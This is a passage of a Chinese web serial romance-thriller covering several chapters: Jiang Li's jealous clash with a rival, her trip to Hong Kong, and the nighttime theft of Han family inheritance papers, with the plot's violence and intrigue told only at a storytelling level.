一时间台球厅里的人都静了下来,纷纷朝她看过去。坐在沙发上的时愿盯着她,手指抓紧了衣服,脸上的表情险些没挂住。 姜梨轻飘飘的朝她看去,眉梢微微挑了一下,唇边噙着挑衅的笑。 那双平时清冷微总是微带笑意的眸子也变得锋利,肆意又张狂。 像一朵带刺的,张扬的野玫瑰。 姜梨从来都没有在其他人面前连名带姓的喊过江淮之的名字,一直都是规规矩矩的喊哥哥,生怕被人察觉到他们有猫腻。 也怕楚云知道后,会用她以及她母亲的身份去要挟江淮之无条件的为沈家和姜氏谋取利益,包括贩毒。 但是她现在不想装了。 她完全可以像以前那样,说一句:“哥哥,送我回家。” 她今天偏不! 他们本来就没有血缘关系,凭什么连结了婚都要躲躲藏藏?还要让她眼睁睁的在这里看这个绿茶婊勾搭她老公。 她今天就是要当着所有人的面告诉时愿,江淮之和她有个家,他们是彼此唯一的家人。 时愿才是那个莫名其妙冒出来的小三、不合格的前任! 角落里的陆临将这里面的风流涌动看得透彻,忍不住弯了一下唇角。 黑莲花要咬人咯。 喜欢他来时风起云涌请大家收藏:()他来时风起云涌更新速度全网最快。 第144章 反复爱上他 最后三个人一起走出了台球室。 时愿崴伤的脚踝走路不便,伸出一只手死死抓着江淮之的衣袖,柔弱不堪,好似风一吹就能倒下去的弱柳。 现在人很多,江淮之只看了时愿一眼,没有甩开。 姜梨看到她的动作,冷嗤了一声,头也不回的朝前走,一个人进了电梯,把那两个人甩在后面。 谢铭已经提前把车开了出来停在路边,姜梨坐上了后排座,特意等到那两个人下来,才“砰”的一声把门关上。声音震天响,吓得前面的谢铭身体一抖,有些不明所以。当他往外面看过去,看到江淮之旁边还跟着一个拖油瓶时,眼皮重重地跳了一下。 我的天呢,他家大少爷这是要闹哪样啊??? 刚刚在上面一副柔弱不能自理的样子,这会开后排门的动作倒是挺快,跟一阵风似的。 姜梨冷眼瞧她:“下去!” 反正这里没有别人,她怎么对时愿甩脸子都不会有人看到,不会被人说牙尖嘴利、仗势欺人。 时愿被她这一句整得身体一颤,当即就红着眼去看江淮之。 刚刚她是为了不被人诟病才强忍着恶心给了她一点好脸色,她还真当自己是碟子菜了。 “你是客,我是主。副驾驶留给你了你没看见啊?我一没骂你二没吼你,你装你妈呢?”姜梨觉得不够爽,又用舒羽那天骂过她的话补了一刀:“哦,对不起,我忘记你妈死了。” 时愿被她的话刺到,想也不想的就开口:“大家都没有妈,姜二小姐何必用这个来踩我?” “我妈是沈夫人,她还活得好好的呢。”姜梨乐了,手肘懒散的撑在扶手上,“我可不在你说的大家里,那你是在说谁呢?江淮之?” 时愿脸一白,她根本就没想到这一点!好一个颠倒黑白的姜梨! “阿野,我……” 江淮之打断她,帮她开了副驾驶的门:“行了,我妹妹年纪比较小,上车吧。” 时愿没办法再说什么,顺着江淮之递来的这个台阶,万般不情愿的坐上了副驾驶。 秋水湾离这边挺近的,半个小时的车程,江淮之没说,谢铭就先送他们回秋水湾。 不过现在还处于晚高峰,有些堵。 可能是姜梨这几天精神压力太大,刚刚又哭过一场,就这么一小会儿的功夫,就迷迷糊糊的睡了过去。 她长得白,眼尾和上眼皮红的很明显,她哭了。也看得出来她上来以后情绪有点不对劲,挥舞着爪子,逮着人就抓。 刚刚陆七跟他说了,听到叶辞跟她吵了一架,听着挺严重的,就是因为这个哭。 至于前文,陆七并没有听到。 江淮之的眼神深了一分,姜梨不会因为跟朋友吵架就要掉眼泪,就算被叶辞吼了也不至于哭成这样。 她只会打回去。 两个人到底说什么了?能吵成这样? 一路上车内都安静的很,时愿时不时的看一眼后视镜,不动声色的观察后排的两个人在做什么。 时愿以为姜梨会这么好心的主动让她跟他们一起回家是想当着她的面勾引江淮之,然而除了刚刚牙尖嘴利的骂了她几句,姜梨真的一直都在睡觉,甚至她还把扶手放了下来,将两个人隔开。 倒是江淮之,一直贪恋的盯着她看,眼神就没从姜梨身上移开过。 时愿移开视线,手抓着安全带,越攥越紧。 车子停在了秋水湾的小区门口,江淮之把那道扶手扶了起来,手掌轻轻拍了一下她的脸颊,把她喊醒。 姜梨慢悠悠的睁眼,嗓音沙哑的“嗯”了一声,她抬起眼看了一下副驾驶的时愿,暗暗勾了一下唇角。 缓慢的移到另一边的座椅上,她伸手抓住了江淮之的衣角,仰头看着他,“不想走,要抱。” 江淮之弯下腰,像抱小孩一样把她从车里抱了出来,关上车门,头也不回的往小区里走。 姜梨搂着他的脖子趴在他的肩头,朝着车里的时愿勾起来一抹挑衅的笑。 她是江淮之的初恋又怎么样?现在,此时此刻,她姜梨才是江淮之的合法妻子,他爱的人也是她。 时愿气得脸色都开始由白变红,抠着安全带的指甲绷的裂开。 她还是小时候的那个姜梨,表面人畜无害、单纯小白花。实则是阴暗扭曲、睚眦必报的黑莲花。 她还真是小瞧她了。 时愿面上不显,心里却止不住的冷笑。姜梨也得意不了多久了,两天以后,她就会彻底消失了! …… 回到家里姜梨也不想从他身上下来,像树袋熊一样挂在他身上。 江淮之伸手帮她脱掉鞋,抱着她坐到沙发上。 “刚刚她中途出去过,是不是找你说了一些什么?” 从姜梨主动提出让时愿跟他们一起回来,江淮之就知道她是故意要气时愿。但是姜梨就算是吃醋生气,也只会气他、骂他,绝对不会无缘无故的对无辜的人撒火。 她今天突然对时愿这样,唯一的解释就是时愿不无辜,招惹她了。 这章没有结束,请点击下一页继续阅读!姜梨没承认这一点,“你都能故意让谢鹤扬他们把从珠宝商那里挑的戒指当作新婚礼物送给我,我今天这样又有什么不可以?” 而且姜梨本来就不喜欢她,心理对她的那点厌恶在今天达到了顶峰,她能忍着没抽她都是她的脾气好。 最重要的一点,她后天就要离开他了。 姜梨咽了一下喉咙,闷声:“我不想跟你吵架,不然我也不会回来喊你了。” 时愿说的那些过往是真是假不重要,她是不是她的替身也不重要。 就算是江淮之骗了她,她还是会去喜欢他。 就像当初在疗养院,她只看了他一眼,她的大脑、心脏就疯狂的给她传达一个信息,你要选的人就是他。 所以不管他有没有骗她,不管她有没有失忆,她都会去选他,都会反复爱上他。 “江淮之。”姜梨凑到他耳朵边,一字一顿:“我爱你。” 她话音刚落,江淮之就掐着她的后颈亲下来,姜梨瞳孔缩了一下,本能的仰头往后躲。 突然感觉有什么东西铬的慌,她愣了几秒,反应过来的时候脸和耳朵一下子烧的通红。 刚刚明明还没有的,她不就表了个白吗?他就这么大反应。 江淮之的眼尾泛红,漆黑的眸子里都是翻滚的欲念。他从她的眼皮一直往下亲到她的下巴,喉结上下滚动,声音低哑似在蛊惑。 “就在这里好不好?” 喜欢他来时风起云涌请大家收藏:()他来时风起云涌更新速度全网最快。 第145章 江淮之:等你回来 第二天,姜梨和江淮之去了宋枝的那个中医馆。 她要去港城,上次在这里拿的膏药贴已经没剩多少了。 这一次中医馆里除了穿着白大褂的宋枝,还多了一个男人,在帮宋枝干抓药、称药的活。 他的头顶戴着鸭舌帽,身材高大魁梧,穿着一身黑,和这个中医馆格格不入。 姜梨的眼神划过一丝暗光,一下子就认出来他就是陆临上次给她看的视频里那个跟踪她的男人。 宋折被她看的手一顿、一抖,药撒了出来。 他抬起头,鹰眸直直的撞进她的眼睛里。 男人很年轻,右边的眉毛断了一截,耳朵上戴着黑色的耳钉,看着就很不好招惹,眼神又凶又狠,像一头野狼。 姜梨瞳孔放大,小小的往后退了一步。 被吓到了? 江淮之看了眼宋折,低头对姜梨说:“他是宋折,是我朋友,不用怕。” 就是江淮之安排要跟她去港城的人。 姜梨小幅度的点点头。 她倒也不是害怕,只是视频里看不到他的脸,所以姜梨没有太大感触。但是现在看清了,觉得她以前肯定见过他。 刚刚看到宋折的一瞬间,她的大脑里就飞速晃过了一个画面,很模糊。 “他……他是宋枝姐的?”姜梨这才反应过来两个人的名字有点像。 宋折把刚刚掉出来的药渣重新捡起来,说了两个字:“弟弟。” 顿了顿,又补了一句:“不是亲的。” 姜梨心里困惑,但是她没有多问。 坐在椅子上,宋枝给她检查膝盖的情况,还给她做了针灸。 “已经不太肿了,继续坚持贴膏药,注意保暖,别做什么剧烈运动就不会痛。”宋枝看准时间,撤掉了银针。 姜梨放下裤管,刚刚她听到江淮之和宋折去了外面,眼睛闪了闪,她似不经意的说:“宋枝姐姐,你跟江淮之认识很久了吗?” “十四年了。”宋枝没有设防,只当她是好奇江淮之的过往,于是自然而然的跟她闲聊:“不过我是因为宋折才认识他的,他们是同校生,又总挨在一起,我去学校帮宋折开家长会的时候看到过他。” “这么久啊。”姜梨感叹了一句,斟酌着又问了一句:“那他以前是什么样子?” 宋枝不知道想到了什么,笑了起来,“那个时候江淮之很凶,除了成绩好、长得好就找不到其他优点了。抽烟打架逃课样样都沾,就连老师都拿他没办法,他身边也总是跟着一群不良学生的狐朋狗友。我总是怕他会带坏我弟,经常干扰宋折,不让他跟江淮之他们待在一起。” 姜梨“啊”了一声,有些错愕。江淮之是个坏学生,这倒是她没有想到的。 “那……那他有没有早恋啊?” 宋枝立马摇头,“满脸都写着生人勿近,见谁都是一个“滚”字,好像是把同班的一个女同学给打了,后来都没有小姑娘敢和他讲话。” 说到这里她顿了一下,然后凑到姜梨耳边,小声问她:“狼崽子爆改年上乖顺哈士奇。妹妹,你是怎么把江淮之调教成这样的?” 姜梨听着她的话脸有些热,怎么就用出调教这个词了? 况且她也没这样,从疗养院把他接出来起,江淮之就一直都是这样,宋枝说的那个,她从来没见到过。 打哭女孩子?她实在是没办法去把这种事情跟江淮之联想到一起。 正当姜梨不知道该怎么回答宋枝的问题时,江淮之和宋折回来了,宋枝刚跟姜梨说过江淮之的黑历史,有些心虚,不自然的轻咳了一声,把手里的针包放好,去药柜给姜梨拿药。 姜梨也站起来,低着头不说话。 回到车上,姜梨还在想宋枝说的话。 宋枝在那个时候不仅没有见过她,也不知道时愿,甚至连江淮之家里的具体情况都不太清楚,姜梨此番没有在她那里套出来什么重要的信息。 就只是知道了有关江淮之的冰山一角而已。 车子在路上平缓行驶,现在已经进入了深冬季节,道路两旁的树木光秃秃的,有些萧条。 “你害怕宋折?”江淮之冷不丁的问她。 姜梨:“第一眼有点点怕,他长得太凶,但是后面就觉得还好,也挺俊的。” 江淮之眉心不着痕迹的皱了一下,心想:她怎么看谁都俊?好像在她眼里就没有丑的。 “那你跟宋枝说什么了?” 姜梨想到宋枝说的关于“调教”的问题,耳朵又开始隐隐发烫。她眨了眨眼,哼了一声,小声道:“不告诉你。” 江淮之牵起她微凉的手,一会儿揉,一会捏,又去拨动她无名指上的红钻戒指。 那枚婚戒她觉得太显眼了,就收起来了。这枚红钻她原本戴在了食指上,是他昨天晚上结束之后换到无名指的。 代表已婚。 不是陆临和谢鹤扬嘴里叫的梨妹妹,她是他的妻子。 江淮之突然说:“等你从港城回来,我们就一起回北城去看大哥和林遥,过完除夕我再带你去冰岛看南诗奕。” 姜梨:“你说什么?” “别总是因为这些事情就去看其他的男人。”江淮之亲了一下她的手背,凤眸认真的看着她,柔情暗蕴,温柔又缱绻,“只要是你想要的,我都会给你。” 姜梨的耳边开始“嗡嗡”的响个不停,喉咙有些发堵,本来就已经有了许多伤口的心脏又被剜了一刀,血流不止。 “那时愿呢?你会把她一个人丢在樱洲吗?” 江淮之点了一下她的额头,“这种时候不要提这么一个煞风景的人,这些事情我以后都会处理好,你现在应该回答我说好。” 姜梨心下一抽,差点哭出来。 她在心里说:可是她已经等不到除夕了,也没有什么以后了。 名为仇恨的枷锁困着她的身体,越收越紧。锁链穿透她的皮肤,和她的骨血交融在一起,盘根错节,不见天日。 姜梨不敢去看江淮之的眼睛,她垂下眼皮,没有回答好还是不好,只强装若无其事的长长“哦”了一声。 喜欢他来时风起云涌请大家收藏:()他来时风起云涌更新速度全网最快。 第146章 这是最好的机会 隔天,一架飞机从私人停机坪起飞,冲破云层滑出一道白色的弧线。 本来江淮之是想让季妍也跟着她的,可以照顾她的日常起居,但是姜梨不愿意。她以前在港城的时候就是一个人,没有他想的这么娇气。 所以最后跟姜梨一起的,就只有宋折一个。 来送行的除了江淮之以外,还有洛骞。 阮经颜因为工作的事情只在手机上给她发了信息,提醒她注意安全。 “你让宋折跟着她,真的没问题吗?”洛骞面色有些凝重,“不怕她想起来什么?” “陆七她都见过那么多次了,也没见她想起来东西。”江淮之的视线依旧盯着那道弧线,突然他的右眼皮又跳了一下,心口莫名的开始有些闷。 自从知道姜梨要去港城开始,他就总是会有这些反应,心也很慌。 所以即使那边有韩家和韩斯年在,他还是让宋折跟着她一起去了,可以保护她。 江淮之将视线移到洛骞身上,眼里笼罩了一层暗色,“如果不是因为要看好沈叙这边,我一定会亲自跟着她去,哪里会用得上宋折?” 洛骞拍了拍他的肩膀,没再说话。 姜梨坐在窗边,离这片土地越来越远,随着飞机升高,整座樱洲城变成了一个黑点。 她垂下眸子,眼神一片黯淡,夹带着一丝不易察觉的悲凉。 樱洲到港城飞了三个小时,他们在下午两点多抵达。下了飞机宋折就把姜梨送去了幽谷居,是一套大平层。 装修风格跟秋水湾的那套公寓差不多,唯一不同的是幽谷居二楼的窗户全是落地窗,通透明亮,一眼就可以看到维港的海景。 宋折朝姜梨摊开手,“手机给我,我要装定位。” 他倒是挺直白的。 宋折看她犹豫不决,一副不愿意的样子,没什么语气的跟她解释:“我不跟你住在这个地方,但是我需要知道你的位置,我要随时跟在你身边保护你的安全,这是江哥给我的任务。你不愿意也没关系,我黑进你的手机系统也是可以的。” 姜梨惊愕了一下,然后开始上下打量他,问了他一句:“你有这么厉害?除了会黑科技你还会什么?你之前是做什么的?” “会打架,在江城开了个网吧,偶尔接点帮人家收债的活。” 这个姜梨有见过,手段不干净,很骇人,也很残忍。 长相凶,话少,人还狠。 有点棘手了。 姜梨吞咽了一下喉咙,故作一脸不情愿的样子把手机交到了他手里。 心里的算盘则是打得“啪啪”响。 …… 姜梨第二天的时候就去了纪繁星的工作室。 纪繁星按照姜梨的要求锻出来了两把刀,又让团队的人做成了火焰刀。 找到一处安全无人的空地,姜梨拔开刀鞘的一瞬间,刀身立马就被一层火焰给包裹住。 刀是有些重的,但是姜梨耍起来却没有多费劲。她的动作流利又漂亮,每一下都给人的视觉带来强烈的冲击。 在场的人都忍不住发出一声惊叹,现场远比视频上看到的还要惊艳,甩出来的火焰范围又大又亮,火弧线像一团火龙。 姜梨收鞘,可以自动灭火,非常安全。 “道具没什么问题,到正式拍摄的时候可以加一点火花粉。”姜梨出了很多汗,额前的碎发有些湿,把刀还给了纪繁星身边的助理。 纪繁星给她递了一瓶水,“拍摄时间就挑在后天晚上,取景地点我都已经挑好了,到时候会叫人去接你。” 说完她悄悄的看了眼站在工作人员里鹤立鸡群的宋折,他依旧是鸭舌帽加一身黑的打扮,不像正儿八经的保镖,但是却有让人看一眼就闻风丧胆的感觉。 纪繁星朝着姜梨靠近了一些,小声询问她:“你身边跟着的这个人要怎么处理?我想今晚……” 姜梨抹了一把脸上的汗,一口气喝了大半瓶水,打断她:“我怎么听说你原本是港城的禁毒大使,但是因为纪家涉毒的原因遭到了抵制,所以被刷了下来。” 纪繁星不懂她怎么就突然前言不搭后语的说起了这件事,但还是点了点头。想到这件事就有点不爽,“但是现在的禁毒大使是楚栖月,更讽刺了。” 楚栖月,跟楚家长子楚珩熠是一对龙凤兄妹,是正室夫人的孩子,自然也是楚家最受宠的女儿。 楚家走私贩毒明面上还没有证据,但是楚栖月吸过毒的事情是供认不讳的事实,别说是同属娱乐圈的纪繁星了,就连姜梨都知道这件事。 这样的人都能当禁毒大使,可不就是极大的讽刺吗? 众星捧月的千金小姐,被楚家那几个老不死的娇惯的蛮横无理,嚣张跋扈的程度可谓是比沈月汐和楚柠歌还要厉害的多。 姜梨可没少被这位表姐欺负。 “港城过几天有个禁毒宣传的讲座,她作为禁毒大使当然会出席。”姜梨活动了一下发酸的手腕,轻轻挑了一下眉毛,“你有没有兴趣杀进去?” 她都被踢出来了,怎么能杀得进去? 况且这跟她说的事情有什么关联吗? 姜梨把剩下的半瓶水喝了干净,捏扁了瓶子扔进了垃圾桶,“我跟你说的那个帮手会在后天到港城,我想在讲座的前一天去韩氏大楼,这个人我会在晚会的前一天处理。” “如果你想我明天去韩氏大楼,我没办法甩开这个保镖,只能打晕他或者给他下药。江淮之和这个人一直都有保持通讯联系,我们该做的大事还没做,一旦被提前发现,就前功尽弃了。” 这个讲座她们必须杀进去。 无论是动用舆论影响,还是走捷径。 看纪繁星依旧云里雾里,姜梨勾住她的肩膀,在她耳边一字一句道:“讲座,还是现场直播的讲座。谢鹤枭、韩家、楚家,还有樱洲和北城,甚至是全国都能看得到。” “纪繁星,你难道不觉得这是你为纪家正名、同样也是能让你无声无息逃走的最好的机会吗?简直就是为你和我量身定做出来的。” 在全国人民的面前,揭露罪人的恶行,只有这样才能让楚家和沈家再也没有翻身的可能。 喜欢他来时风起云涌请大家收藏:()他来时风起云涌更新速度全网最快。 第147章 她是猎人还是蝉? 纪繁星和姜梨拍摄的宣传片在发布后的三天内,热度居高不下,姜梨和纪繁星两个人也成为了圈内热议的对象。 他们拍的虽然是禁火宣传片,但是用的配乐是纪繁星自弹自唱的一首写给缉毒警的歌曲——我用什么把你留住,配合姜梨耍火刀的身姿,满腔愤恨夹杂着一丝悲情,让人热血沸腾的同时,头皮也开始发麻。 这段视频在樱洲和北城的热度也是断层第一。 琴棋书画样样精通不说,就连耍刀也是信手拈来。如果是在古代,那就是既能做得了才女,又能做那个上战场杀敌的女将军。 北城才女,实至名归。 江淮之坐在沙发上,长腿随意交叠,偌大的别墅安静寂寥,他的背朝后靠,拿着手机翻看着新闻,铺天盖地全是关于纪繁星和姜梨的。 “港城禁火大使纪繁星将携手姜梨作为特邀演出嘉宾参加禁毒宣传讲座”的词条是热搜榜的第一,港城那边也已经发了相关的声明。 最开始因为心里的不安越来越重,眼皮也总是跳,江淮之总是会担心拍摄过程里会出现什么意外,会不会伤到她,每天都要给姜梨打好几个视频电话,惹得一向生气不挂脸的小姑娘都黑脸了。 骂他是老妈子。 她都说了好多遍了,现场有很多工作人员看着,而且这本身就不是什么特别危险的事情,不会出任何问题。 姜梨后来索性把手机扔给宋折,不愿意再接他的电话。 江淮之无奈,也忍不住开始认同起姜梨说他是老妈子的话。 姜祈安什么都会,一开始他还只教姜梨琴棋书画,但是后来不知道怎么回事,就开始教她格斗术和射箭了,跟训江淮之的时候一模一样,半点儿不心软。 包括耍火刀也是姜祈安教的,江淮之看到过,危险性很小。 他确实是被心理作用影响到了,大概是因为姜梨不在他的眼皮子底下,他才会那么不安,才会小题大做。 看到正片,又看到这些新闻,江淮之的唇角忍不住上扬,真的有种与有荣焉的感觉。 学什么像什么,做什么成什么,二梨还是一如既往的厉害。 妻子的容貌,丈夫的荣耀。 “叩——” 门被敲响,江淮之关掉手机,敛了敛神色以后站起来去开门。 站在门外的人是司南赫。 江淮之开了门就没吭声,自顾自的朝着书房走,司南赫抿了抿唇,跟在他身后。 这还是司南赫第一次来江淮之在北城的私人住处,整体的装修风格有些压抑,跟他这个人倒是很搭。 “我跟司南泽谈判完以后,他昨天就借着港城禁毒宣传讲座给他发了邀请函的理由他动身去了那边,司南泽也在。”司南赫直奔主题。 按照以往来说,这封邀请函应该是发给司家的家主的,但是因为北城总公司的现任总裁是司南衍,今年的邀请函就到了他手上。 这件事情江淮之已经听韩斯年说过了,他抬眼看了眼司南赫,“你还有其他事?” “如果只是为了离间司南衍和司南泽,你完全可以拿着调查出来的鉴定结果自己去找司南衍谈判,为什么还要多此一举的把这个机会让给我呢?” 江淮之听完他的话,嗤笑了一声,“不给你这个机会,就凭樱洲分公司和你拉得那几个合作伙伴,你这辈子都翻不了身。司南衍太看重司南泽,到时候难免会把司氏搞得乌烟瘴气。” “我这个人没有为别人做嫁衣的习惯。” 司南赫也不管他话里对自己的鄙夷了,而是精准的捕捉到两个字:别人。 他也笑了一下,长长的“哦”了一声,“所以我就不是别人了?” 江淮之面色不改,“你想太多了,我只是比较讲诚信,我说过会把司氏还给你。” 司南赫还想说什么,江淮之冷冷瞥了他一眼,“简清时那边已经忙得焦头烂额了,你怎么这么闲?” 得了,这是在赶人了。 司南赫耸了耸肩膀,离开时他顿了一下,甩下来一句:“不是同一个妈生的也无所谓,你永远都是我亲哥。” 过了很久,江淮之抬手摸了一下书桌上摆放着的那个相框,眉眼间柔和了几分。 …… 这天,纪繁星和姜梨约了饭,算是庆祝她们成功杀进禁毒讲座,距离计划又近了一步。 “前几天楚柠歌找你什么事啊?” 纪繁星突然想起来这件事,那天她和姜梨去拍摄,也不知道楚柠歌怎么会知道她们的取景地的,早早的就在那里蹲点,面色也很不和善。 最后她们两个人说了几句话,楚柠歌走的时候神情那叫一个阴暗。 “她和沈月汐污蔑我推她妈,但是真正推楚家四夫人的是楚柠歌本人,被我拿到了把柄。还有沈月汐想放火烧我,我也有证据,就从她们俩那里拿了500万的封口费。”姜梨说着就笑了起来,“不过我猜沈月汐给我的那五百万里有一半是她用我给她的证据在楚柠歌那里坑的,楚柠歌已经给了钱,认为这事已经过去了,但是现在又被我威胁,所以她心里不痛快吧。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!纪繁星捋清楚了里面的弯绕,不禁摇了摇头,“沈月汐明知道你会来港城,明知道你有证据,还敢去楚柠歌那里坑钱,怎么会有人蠢成这样?不过沈月汐现在不是也在港城吗?我看她和楚柠歌倒是融洽的很,我看沈月汐估计要被楚柠歌收拾了。” 从小到大,沈月汐无论做错什么事楚云都会给她兜底,不管是心理承受能力还是脑力,都非常的低下,所以才会这么容易的就被姜梨威胁。 也是真的以为姜梨会惧怕楚家,不敢去找楚柠歌,才敢去骗她。 说好听一点她是被惯的蛮横无理,说直白一点就是蠢货,楚柠歌虽然是嚣张跋扈,但是她也不是被惯着的公主,还算有点智商。 但是两个人都有一个共同点,那就是坏。 姜梨晃了晃果汁的杯子,缓缓说:“谢鹤扬私下查到楚柠歌和沈月汐在跟黑市的人联系,要购买炸蛋。” “沈月汐想和楚柠歌一起当螳螂,捕我这只蝉,但是楚柠歌怎么会被她拿捏,她想要当那只黄雀。” 纪繁星眼睛睁大,脱口而出:“螳螂捕蝉,黄雀在后,楚柠歌该不会是想……” 她反应过来,顿时像看怪物一样看着姜梨,“姜梨,你故意的吧?封口费不是你的主要目的,离间楚柠歌和沈月汐才是你的目的。” 伪装成那只待捕的蝉,其实是布局的猎人。 姜梨碰了一下她的杯子,“这个世界上从来就没有什么天时地利人和,只有天道酬勤。” 在她身上浇灌过痛苦的人,一个都跑不掉。 喜欢他来时风起云涌请大家收藏:()他来时风起云涌更新速度全网最快。 第148章 什么时候做上了小偷? 宋折看着满大街的人,愣是没看到姜梨的影子,他的眉毛皱起,摸出手机找姜梨的定位,发现她居然走进了一条巷道。 别看大街上流光溢彩、人来人往,但是这些黑暗的巷道里每天发生的污糟事多得很,他心里顿感不妙,立马转身去找人。 巷道里黑漆漆的,没有路灯。 “姜梨?”宋折进去时,看到姜梨侧着身背靠着墙站在巷道尽头的转角处。他略微松了口气,大步朝她走过去,“你没事往这里面走做什么?你那个明星朋友呢?” “走散了,我来这找她的。”姜梨依旧站在那里没有动。 “她是港城本地人,肯定不会在这种危险的巷道里,赶紧走吧。”宋折不疑有他,走到她面前,抬起手拉着她想要赶紧离开。 然而还没走出去,姜梨藏在黑暗里的那只手里握着一根电棍,毫不犹豫的朝着宋折的身后甩了过去。 “呃!”宋折闷哼了一声,全身的身体一麻,倒在了地上。 他看向拿着电棍的姜梨,眼中满是不可置信,这姑娘在干什么! 姜梨的嘴唇紧抿,眼神也没了平日里的澄澈明亮,变得极其幽深沉静,居高临下的看着跪倒在地上的男人。 宋折这时也反应过来了,姜梨是故意引他到这个地方的,他质问她:“什么意思?” 电压不大,不会威胁到他的生命,只是让他短暂的失去行动力而已。 姜梨没有回答,这时一直藏在角落里的谢鹤扬和一个黑衣蒙面的男人走了出来。 谢鹤扬拿着黑色的绳索快速的捆住他,姜梨把电棍还给那个黑衣人,缓缓蹲了下来,从宋折的口袋里把他的手机拿了出来交给了黑衣人。 她神色从容的跟宋折平视,淡声开口:“我和你是朋友,我不会害你,只是不想你碍事。” 碍事?碍什么事?姜梨要做什么? 宋折还没问出口,那个黑衣男人就已经拿着一根针管,对着他的手臂扎了进去。 随着药物缓缓推进,宋折的意识也越来越模糊,直到彻底昏死过去。 黑衣男人快速的跟宋折互换了衣服,然后又开始操作宋折的手机,改指纹。 “好了,谢二少可以把这个人带走了。” 姜梨站起来,看向谢鹤扬。唇角微扬,露出一抹浅笑,“给他找个安全的地方,拜托你了。” 谢鹤扬轻轻嗯了一声,目光向下,瞥了一眼她无名指上的那枚红钻戒指,是当初他说给江淮之的新婚礼物。 他早就猜想到是这么一回事,做足了心理准备,现在倒也没那么难受。 谢鹤扬吞咽了一下有些干涩的喉咙,“明晚如果我们都活下来了,你会跟我走吗?还是回到他身边?” 黑衣人也朝着姜梨看过去。 夜色深谙,漆黑的巷道寂静无声。 过了不知道多久,姜梨才说:“如果有一天,我和你站在了相反的立场上,你会背叛你的信仰站在我这边吗?” 谢鹤扬听完一愣,他沉默了一会儿,然后摇了摇头。 姜梨一点儿也不意外他的回答,她灿然一笑,坦荡道:“我会去救一名警察,但我不会爱上警察,更不会跟他私奔。我要的,是只忠于我一个人的爱人。” “我也不会再回到江淮之身边。” 说完,姜梨便朝着巷道更深处走去,她的身影渐渐消失在黑暗的尽头。 谢鹤扬看着她的背影,苦笑了一声。 黑衣人拍了拍谢鹤扬的肩膀,然后朝着姜梨离开的方向追过去。 …… 凌晨两点,整座城市都陷入了安眠。 一袭黑衣银发装扮,带着红色狐狸面具的姜梨潜进了韩氏的公司大楼,根据纪繁星打探到的消息,她直奔顶楼,找到了保险柜。 因为电路已经被提前破坏掉,姜梨是靠着两条腿爬上来的,心脏都在“砰砰砰”的跳,膝盖止不住的发软打颤。 转动保险柜上的旋钮,耳朵听着细微的动静,鼻尖和额头都出了一层细密的汗。 “叮——”的一声,保险柜开了! 保险柜里放的就是韩氏集团的机密文件。 档案袋上压了一本厚厚的书,姜梨快速的将两样东西都拿出来。 姜梨戴了红色的隐形眼镜,看清楚那本厚厚的书居然是韩家的族谱。 公司的机密文件,怎么会有族谱?! 别是纪繁星搞错了,机密文件根本不在这里吧…… 带着满心疑惑,姜梨翻开了这本厚厚的族谱,最开头就写了一句话,韩家子嗣,归国不归家。 姜梨不禁皱眉,这句话明显就是后来加上去的,什么意思? 前面没什么好看的,姜梨直接翻到了近几代人的页面,突然发现从这开始,每隔几页就会有一些人的名字被涂黑,黑色的墨迹晕染开,根本看不清字体。 她的脑子里闪过一道白光,意识到这些在族谱上除名的人跟谢鹤扬一样,都是缉毒警。 所以族谱的开篇会写上那一句话。 突然她的手猛地停了下来,瞳孔缩了一下。 她看到了司韩野的名字,他的名字出现在了韩家的族谱上。 司韩野,是韩家人? 他怎么会是韩家人?! 姜梨把书放在地上,又去拆档案袋,里面只放着薄薄的几张纸,她拿出来看了一眼。 最上面的一张就是韩家上一任家主,韩老爷子拟的继承文书,白纸黑字明明白白,立下的韩家的新任家主并不是韩斯年。 而是司韩野。 在其他几张股份转让协议里,有司韩野的亲笔签名。那个字迹,姜梨绝对不会认错,就是江淮之的字。 江淮之就是司韩野这件事,在此刻得到了证实。 这些东西是韩家的机密文件,韩斯年是代理家主,纪繁星背后的那个boss为什么要偷这些东西?他以为韩家的机密是什么? 她想到什么,立马去翻那本族谱,上面没有韩斯年的名字。 姜梨的眼睛闪了闪,把这本族谱和档案袋重新放回了保险柜里,只把那张继承文书带在了身上。 这本族谱,绝对不能交给那个差遣纪繁星的幕后boss。 她才刚放好,就听到了“嘀”的一声,整座韩氏大瞬间亮起,锁好的门也被人从外面推开,一个男人不紧不慢的走了进来。 “三年不见,顶级杀手什么时候改行做起了小偷?” 喜欢他来时风起云涌请大家收藏:()他来时风起云涌更新速度全网最快。 第149章 “樱花”是姜梨 姜梨没见过韩斯年,自然不会回答他的问题。 她要快点离开这栋大楼,韩斯年则是想要拿回她偷走的东西,两个人很快就扭打在了一起。 韩斯年虽然见过她一面,但是还是第一次和她交手。虽然是一头银色的短发,但是她的体型很娇小,他判断这是一个年纪不大的小女孩。 力气也不大,但是速度非常快。 越打到后面韩斯年就越觉得有些不对劲,他总有种自己是在跟姜祈安和江淮之在对打,对方的一招一式都实在是太像他们两个了。 姜梨找到韩斯年的破绽,找准机会一脚重重的踹在了他的腹部,韩斯年躲闪不及,被这一脚踹倒在地上。 就在姜梨跑出去的时候,一直跟在韩斯年身边的两名贴身保镖突然窜了出来,手里拿着铁棍就朝她抡了过来。 姜梨面色不改,不慌不忙的掏出那把短刀。 韩斯年快速的从地上爬起来,去支援。 保险柜里的东西,每一样都关乎着韩家人的性命和存亡,绝对不能让她带走! 刀棍碰撞闪着火花,姜梨的手掌都被震的隐隐发麻。四个人从走廊的尽头打到了安全通道的门口,以一敌三让姜梨有些力不从心。 就在这时,其中一个黑衣保镖一刀砍中了姜梨的胳膊,她瞳孔缩了一下,闷哼一声连忙后退防守。 她摸出来几颗彩色的球砸向几个人,一瞬间彩色的烟雾炸开,姜梨立刻推开安全通道的门,飞快跑下楼梯逃到了七楼。 她用翻窗的老办法,踩着空调外机和刁钻的台阶,从七楼翻到了地面,跌跌撞撞的跑向某个方向,一辆黑车藏匿于黑暗中。 在姜梨上车的一瞬间,伪装成宋折的黑衣人就启动了车子,一脚油门踩到底,飞快的驶离了这片区域。 韩斯年已经翻遍了整栋楼,都没能发现姜梨的踪迹。监控系统被黑,更是一点线索都没有。 他检查了一下保险柜,发现只缺少了那张继承文书,族谱和其他东西都被规整的放到了原位。 就算是只拿走了继承文书,后果却依旧非常严重,他这次是真的闯了大祸了。 绝望的闭了闭眼,韩斯年也顾不得现在是凌晨三点的时间,拨通了江淮之的号码。 